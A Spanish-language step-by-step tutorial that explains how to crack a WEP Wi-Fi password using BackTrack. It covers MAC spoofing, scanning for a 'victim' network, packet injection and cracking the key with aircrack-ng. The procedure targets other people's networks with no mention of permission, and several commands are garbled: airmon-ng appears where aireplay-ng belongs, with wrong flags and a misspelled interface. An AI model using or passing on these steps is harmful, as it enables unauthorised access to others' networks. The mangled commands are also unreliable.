Insertas el DVD de BackTrack y haces que el CPU inicie desde la Unidad de

CD/DVD (OPTICAL), normalmente esto se hace de la BIOS o de BOOT MENU

apretando la tecla respective, normalmente es TAB, SUPR, ESC, F9 o F10,
depende de tu placa madre.
Al iniciar el DVD te saldr unas palabras donde te pedir escribir unos
comandos (boot: _ ), le das enter y te desplegara unas opciones de arranque
Inicias: BackTtrack Safe Mode (en back track 5)
Usuario: starx
Clave: toor
Aveces no te pedir la clave, el usuario starx es para iniciar el modo monitor
Cuando cargue el escritorio abres una terminal, el icono negro con algunos
signos (>_)
Escribes los siguientes comandos
Para iniciar la tarjeta de wifi (wlan) escribes el comando:
airmon-ng start wlan0
despus escribes el comando
airmon-ng stop wlan0
esto es para detener la tarjeta de red para cambiarle la mac (tu direccin de
PC, muy diferente al tu IP que es tu direccin de internet INTERNET
PROTOCOL ) despus escribes el comando:
ifconfig wlan0 down
macchanger -mac 00:11:22:33:44:55 wlan0
esto es para cambiar tu mac
al presionar enter te dir tu mac original y tu mac falsa (FAKE MAC)
despus inicias tu tarjeta de wifi de nuevo con el comando:
airmon-ng start wlan0
esto es para iniciar el modo monitor, para poder ver todo lo que haces
Despus escribes el comando para empezar a escanear las redes cercanas,
pero este tutorial sirve solo para redes con codificacin WEP, en la lista de las
redes te especificara si tiene codificacin WEP (clave numerica), WPA o WPA2
(clave alfanumrica):

airodump-ng wlan0
Copias la bssid que es la direccin de tu vctima, tambin copias el CH que es
el canal donde se ubica la seal de red de tu vctima.
Abres otra terminal (el icono negro con unos smbolos) y escribes el siguiente
comando, para entrar a la red de la victima:
airmon-ng -1 0 -w keypass -c (el canal de tu victima copiaste anteriormente)
bssid (la bssid de tu victima que copiaste anteriormente) -e 00:11:22:33:44:55
waln0
abres otra terminal y escribes el comando para empezar a inyectar paquetes :
airmon-ng -3 b -e (bssid de la victima) wlan0
cuando en la primera terminal los paqutes (DATA) lleguen o superen las 25.000
unidades, abres otra terminal para crackear la clave de tu victima, escribes lo
siguiente:
dir
esto te mostrara los archivos que guardaste con el comando -w que habias
escrito anteriormente
luego escribes:
aircrack-ng keypass-01.cap
empezara a desifrar la clave y cuando la encuentre te dira:
KEY FOUND [01:26:76:23:98:23]
La clave es 012676239823